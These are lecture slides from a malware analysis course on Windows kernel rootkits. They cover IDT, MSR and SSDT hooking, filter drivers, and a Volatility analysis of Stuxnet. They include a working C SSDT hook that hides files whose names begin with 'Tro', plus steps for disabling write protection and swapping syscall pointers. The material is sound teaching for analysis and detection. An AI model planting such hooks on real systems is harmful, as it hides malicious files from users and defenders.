
CSC 471 Modern Malware Analysis
Kernel Mode Rootkit (2)

SSDT Hooking
Si Chen (schen@wcupa.edu)

Class18



Page § 2



Page § 3

The “Ring”

System Call à 
WinAPI (Windows)
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Rootkit (Kernel Mode)

§ Kernel Mode Rootkits are installed as either drivers (SYS) or Kernel 
Modules (DLL)

§ Most rootkits target 32-bit Windows OS’s
§ 64-bit Windows architectures require drivers to be signed by Microsoft 

before they can be installed
§ To subvert this, attackers will:

– Install a valid, signed driver with a known exploit
– Use stolen signing certificates
– Exploit the kernel itself
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Rootkit (Kernel Mode)

Code in User Mode

Comdlg32.dll Msvcrt.dll ….

Advapi32.dll User32.dll Gdi32.dll ….

Kernel32.dll

Ntdll.dll

Code

Loaded
DLL

User 
Space

- 
Ring 3 

(00000000 - 
7FFFFFFF)

Ntoskrnl.exe

HAL.dll

Kernel
- 

Ring 0 
(80000000 - 
FFFFFFFF)

System Call / INT 2E

<notepad.exe>
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Call FindNextFile

FindNextFile:
…

Call NtQueryDirectoryFile

NtQueryDirectoryFile:
MOV EAX, XX

INT 2E/SYSENTER

Kernel32.dll

Ntdll.dll

IA32_SYSENTER_EIP

System Service Dispatcher
(KiSystemService)

User 
Space

- 
Ring 3 

(00000000 - 
7FFFFFFF)

Kernel
- 

Ring 0 
(80000000 - 
FFFFFFFF)

I/O Manager

NTFS Driver

Backup Driver

AV Filter Driver

Volume Manager Disk Driver

Disk Driver

INT 2E

Interrupt Descriptor Table (IDT) System Service Dispatch Table
(SSDT)

NtQueryDirectoryFile

OS Kernel

VMM System Management mode(SMM

BIOS, PCI ROM

Hardware
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Call FindNextFile

FindNextFile:
…

Call NtQueryDirectoryFile

NtQueryDirectoryFile:
MOV EAX, XX

INT 2E/SYSENTER

Kernel32.dll

Ntdll.dll

IA32_SYSENTER_EIP

System Service Dispatcher
(KiSystemService)

User 
Space

- 
Ring 3 
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7FFFFFFF)
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Ring 0 
(80000000 - 
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I/O Manager
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Backup Driver
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Volume Manager Disk Driver
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Interrupt Descriptor Table (IDT) System Service Dispatch Table
(SSDT)
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BIOS, PCI ROM

Hardware

1. Userland Hooking
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Hooking

§The most classic of all kernel rootkit techniques
§Simple to implement, simple to detect
§Still widely used

– Often in conjunction with other techniques
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Call FindNextFile

FindNextFile:
…

Call NtQueryDirectoryFile

NtQueryDirectoryFile:
MOV EAX, XX

INT 2E/SYSENTER

Kernel32.dll

Ntdll.dll

IA32_SYSENTER_EIP

System Service Dispatcher
(KiSystemService)

User 
Space

- 
Ring 3 

(00000000 - 
7FFFFFFF)

Kernel
- 

Ring 0 
(80000000 - 
FFFFFFFF)

I/O Manager

NTFS Driver

Backup Driver

AV Filter Driver

Volume Manager Disk Driver

Disk Driver

INT 2E

Interrupt Descriptor Table (IDT) System Service Dispatch Table
(SSDT)

NtQueryDirectoryFile

OS Kernel

VMM System Management mode(SMM

BIOS, PCI ROM

Hardware

2. IDT
Hooking
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Interrupt Descriptor Table Hooking (IDT Hooking)

§ Base address of the IDT is stored in the IDTR
§ In order to hook a specific Interrupt, a rootkit just changes the pointer in 

the IDT to their own malicious function
§ SIDT and LIDT instructions

– Used to read/write to/from the IDTR register

– Each processor has it’s own IDTR and IDT
• This means that a rootkit will have to hook each IDT
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IDT Hooking Problems

§ This technique is old
– As of 2009, INT 0x2E was made obsolete

§ SYSENTER is now used to perform syscalls
– Interrupt hooking is easy to detect

§ No way to filter results of an interrupt
– The rootkit’s hook function is just pass-through code that is executed before the 

interrupt handler



Page § 12

Call FindNextFile

FindNextFile:
…

Call NtQueryDirectoryFile

NtQueryDirectoryFile:
MOV EAX, XX

INT 2E/SYSENTER

Kernel32.dll

Ntdll.dll

IA32_SYSENTER_EIP

System Service Dispatcher
(KiSystemService)

User 
Space

- 
Ring 3 

(00000000 - 
7FFFFFFF)

Kernel
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(80000000 - 
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I/O Manager
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Backup Driver
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Volume Manager Disk Driver

Disk Driver

INT 2E

Interrupt Descriptor Table (IDT) System Service Dispatch Table
(SSDT)
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OS Kernel

VMM System Management mode(SMM

BIOS, PCI ROM

Hardware

3. MSR
Hooking
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Machine Specific Register Hooking (MSR Hooking)

§ This is how we hook SYSENTER
– SYSENTER switches to kernel-mode using three MSR’s

• IA32_SYSENTER_CS → 0x174, 16-bit selector of ring 0 code segment

• IA32_SYSENTER_EIP → 0x176, 32-bit offset into ring 0 code segment
• IA32_SYSENTER_ESP → 0x175, 32-bit stack pointer for ring 0 stack

§ Just like the IDTR, there are instructions for accessing the MSR’s
– RDMSR and WRMSR - read/write MSR
– MSR’s are processor specific just like IDT’s

174h is the CS Register.
175h is the ESP Register.
176h is the EIP Register.
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MSR Hooking Problems

§ More modern than IDT hooking
§ Still easy to detect, and only provides passthrough functions
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Call FindNextFile

FindNextFile:
…

Call NtQueryDirectoryFile

NtQueryDirectoryFile:
MOV EAX, XX

INT 2E/SYSENTER

Kernel32.dll

Ntdll.dll

IA32_SYSENTER_EIP

System Service Dispatcher
(KiSystemService)

User 
Space

- 
Ring 3 

(00000000 - 
7FFFFFFF)

Kernel
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(80000000 - 
FFFFFFFF)

I/O Manager
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Backup Driver

AV Filter Driver

Volume Manager Disk Driver

Disk Driver

INT 2E

Interrupt Descriptor Table (IDT) System Service Dispatch Table
(SSDT)

NtQueryDirectoryFile

OS Kernel

VMM System Management mode(SMM

BIOS, PCI ROM

Hardware

4. SSDT
Hooking
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SSDT Hooking

§ IAT à Ring3, Windows DLL
§ IDT à Ring0 Hardware related
§ GDT à> Ring0 Memory Segment Info
§ SSDT à Ring 0Storage function
§ IRP à Ring0 IRP driver

“Tables” in Windows
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System Descriptor Table Hooking (SDT, SSDT)

In 32-bit OS, the SSDT address is exported by ntoskrnl.exe under the 
name of KeServiceDescriptorTable. There are slots for four different 
entries, but Windows only used two of them so far: 
KeServiceDescriptorTable and KeServiceDescriptorTableShadow

When a user-mode application uses sysenter, the application 
provides the function number or ID in the eax register. This value in 
eax is divided in the following way

SSN SDT Not UsedEAX:

bits 0-11:
The System Service Number (SSN): index of this function in the SSDT
bits 12-13: This is the Service Descriptor Table (SDT), which represents 
the SSDT number (0x00 or 0x01)
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System Descriptor Table Hooking (SDT, SSDT)

The SSDT contains four elements:

KiServiceTable <-- array of function address 

CounterBaseTable

nSystemCalls

KiArgumentTable
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System Descriptor Table Hooking (SDT, SSDT)

§ SSDT resides in read-only memory
– Rootkits have to disable and then re-enable the Write Protection (WP) bit in 

the CR0 register
• Rootkit authors could also map a Memory Descriptor List (MDL) over the

SSDT

Disable Write Protection (WP) Enable Write Protection (WP)
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Registers available in the x86-64 instruction set
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Backup the original one
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ZwCreateFile VS NtCreateFile

§ kd> u Ntdll! ZwCreateFile L4
§ ntdll!ZwCreateFile:
§ 77f87cac b820000000       mov     eax,0x20
§ 77f87cb1 8d542404          lea        edx,[esp+0x4]
§ 77f87cb5 cd2e                  int        2e
§ 77f87cb7 c22c00              ret        0x2c
§

§ kd> u Ntdll! NtCreateFile L4
§ ntdll!ZwCreateFile:
§ 77f87cac b820000000       mov    eax,0x20
§ 77f87cb1 8d542404           lea     edx,[esp+0x4]
§ 77f87cb5 cd2e                   int      2e
§ 77f87cb7 c22c00               ret      0x2c



Page § 24

ZwOpenProcess at Ring0

§ lkd> u nt!ZwOpenProcess
§ nt!ZwOpenProcess:
§ 804de044 b87a000000  mov  eax,7Ah
§ 804de049 8d542404  lea edx,[esp+4]
§ 804de04d 9c         pushfd
§ 804de04e 6a08        push 8
§ 804de050 e8dc150000  call nt!KiSystemService (804df631)
§ 804de055 c21000      ret  10h
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System Descriptor Table Hooking (SDT, SSDT)

Code

KiServiceTable

Kernel

[0] Function 0

[ i ] Function i

After Hook:

Before Hook:
Base

Count

Limit

Number

KeServiceDescriptorTable

KeServiceDescriptorTable

Code
[ i ] Function i

KiServiceTable

Hook
Kernel

[0] Function 0Base

Count

Limit

Number
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§ NTSTATUS HookNtQueryDirectoryFile(
§ __in HANDLE FileHandle,
§ __in_opt HANDLE Event,
§ __in_opt PIO_APC_ROUTINE ApcRoutine,
§ __in_opt PVOID ApcContext,
§ __out PIO_STATUS_BLOCK IoStatusBlock,
§ __out PVOID FileInformation,
§ __in ULONG Length,
§ __in FILE_INFORMATION_CLASS FileInformationClass,
§ __in BOOLEAN ReturnSingleEntry,
§ __in_opt PUNICODE_STRING FileName,
§ __in BOOLEAN RestartScan
§ )
§ {
§ NTSTATUS rtStatus;

§ pFILE_BOTH_DIR_INFORMATION pCurrFileInfo; 
§ pFILE_BOTH_DIR_INFORMATION pPreFileInfo = NULL; 
§ UNICODE_STRING uniFileName; 
§

pCurrFileInfo = (pFILE_BOTH_DIR_INFORMATION)FileInformation;
§ pOldNtQueryDirectoryFile = (NTQUERYDIRECTORYFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwQueryDirectoryFile)]; 
§

rtStatus = pOldNtQueryDirectoryFile( 
§ FileHandle, 
§ Event, 
§ ApcRoutine, 
§ ApcContext,
§ IoStatusBlock,
§ FileInformation,
§ Length,
§ FileInformationClass,
§ ReturnSingleEntry,
§ FileName,
§ RestartScan
§ );
§

RtlInitUnicodeString(&uniFileName, pCurrFileInfo->FileName);
§ if (NT_SUCCESS(rtStatus)){
§ if (FileBothDirectoryInformation == FileInformationClass){
§ while (pCurrFileInfo){
§ //if (ValidateFileNeedHide(uniFileName) != -1){ 
§ if (memcmp(pCurrFileInfo->FileName,L"Tro",6)==0){
§ if (pPreFileInfo != NULL){ 
§ if (pCurrFileInfo->NextEntryOffset == 0){ 
§ pPreFileInfo->NextEntryOffset = 0; 
§ }
§ else 
§ {

§ pPreFileInfo->NextEntryOffset = pCurrFileInfo->NextEntryOffset + pPreFileInfo->NextEntryOffset;
§ }
§ }
§ else 
§ {
§ if (pCurrFileInfo->NextEntryOffset == 0) 
§ {
§ FileInformation = NULL;
§ }
§ else{ 
§ (PCHAR)FileInformation += pCurrFileInfo->NextEntryOffset;
§ }
§ }
§ }
§ pPreFileInfo = pCurrFileInfo;
§

if (pCurrFileInfo->NextEntryOffset != 0){ 
§ pCurrFileInfo = (pFILE_BOTH_DIR_INFORMATION)(((PCHAR)pCurrFileInfo)+pCurrFileInfo->NextEntryOffset);
§ }
§ else
§ {
§ pCurrFileInfo = NULL;
§ }
§ }
§ }
§ }
§ return rtStatus;
§ }
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System Descriptor Table Hooking (SDT, SSDT)

§ With WP off, the attacker swaps a new address into the target address
–  Declare the original syscall prototype (e.g., ZwSetValueKey())
–  Declare a corresponding function ptr (e.g., ZwSetValueKeyPtr)

–  Define a function ptr (e.g., oldZwSetValueKey)
– Implement a hook routine (e.g., newZwSetValueKey())
–  InterlockedExchange() to swap in a ptr to new function

• The new function can execute the old syscall, and filter the results

–  Hook ZwQueryDirectoryFile() to hide directories
–  Hook ZwQuerySystemInformation() to hide processes
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SSDT Example à Using WinDBG to Debug Kernel

similar to OllyDbg
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WinDBG Kernel Debugging
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WinDBG Kernel Debugging

Kernel Base = 0x804D7000 à where ntoskrnl.exe loaded.
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WinDBG Kernel Debugging

u nt!ZwCreateFile L50 à put 25 into EAX and then call KiSystemService
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Observing a clean SSDT

dds KiServiceTable
dds KiServiceTable L 18a à first 18a pointers 
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Download and run SSDT Hook
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Observing a hooked SSDT

dds KiServiceTable
dds KiServiceTable L 18a à first 18a pointers 
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SSDT Hooking Problems

§ Relatively straightforward to implement
§ Provides the ability to filter system calls!
§ On it’s own, still trivial to detect
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Call FindNextFile

FindNextFile:
…

Call NtQueryDirectoryFile

NtQueryDirectoryFile:
MOV EAX, XX

INT 2E/SYSENTER

Kernel32.dll

Ntdll.dll

IA32_SYSENTER_EIP

System Service Dispatcher
(KiSystemService)

User 
Space

- 
Ring 3 

(00000000 - 
7FFFFFFF)

Kernel
- 

Ring 0 
(80000000 - 
FFFFFFFF)

I/O Manager

NTFS Driver

Backup Driver

AV Filter Driver

Volume Manager Disk Driver

Disk Driver

INT 2E

Interrupt Descriptor Table (IDT) System Service Dispatch Table
(SSDT)

NtQueryDirectoryFile

OS Kernel

VMM System Management mode(SMM

BIOS, PCI ROM

Hardware

5. Code
Patching

6. Filter
Driver
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Windows Driver 101

This make drivers pretty complex and cumbersome to implement. 
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Windows Driver 101
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Windows Driver 101

Driver Stack
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Device Object and Driver Stack
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Filter Driver Rootkit
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Filter Driver Rootkit
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STUXnet

Page § 35

STUXnet
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STUXnet

Page § 35

STUXnet
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STUXnet
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Analysis STUXnet Memory Dump Image

Malware

https://github.com/volatilityfoundation/volatility

https://github.com/volatilityfoundation/volatility
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Analysis STUXnet Memory Dump Image
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Analysis STUXnet Memory Dump Image

Now Stuxnet can filter or hide specifically named files and directories on 
those file systems!
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Kernel Callback

§ A callback function is one which is passed as an argument to another 
function and is invoked after the completion of the parent function.
– In other words callback is a piece of executable code that is passed as an 

argument to other code, which is expected to call back (execute) the argument 
at some convenient time.

§ Kernel Callback
– Supported on 64 bit systems
– Safe for multicore machines

– Lists of events:
• Process creation
• Thread creation
• System shutdown

• File system registration
• PnP(Plug and Play)
• etc…
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Analysis STUXnet Memory Dump Image

Now Stuxnet can 
receive 
notification when 
new file system 
become 
available – So it 
can immediately 
spread or hide 
files

And is able to 
inject code into 
process when 
they try to load 
other DLLs. 



Page § 53

Call FindNextFile

FindNextFile:
…

Call NtQueryDirectoryFile

NtQueryDirectoryFile:
MOV EAX, XX

INT 2E/SYSENTER

Kernel32.dll

Ntdll.dll
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(KiSystemService)
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INT 2E
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OS Kernel
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BIOS, PCI ROM

Hardware

7. DKOM

8. Virtualization

9. Hardware



Page § 54


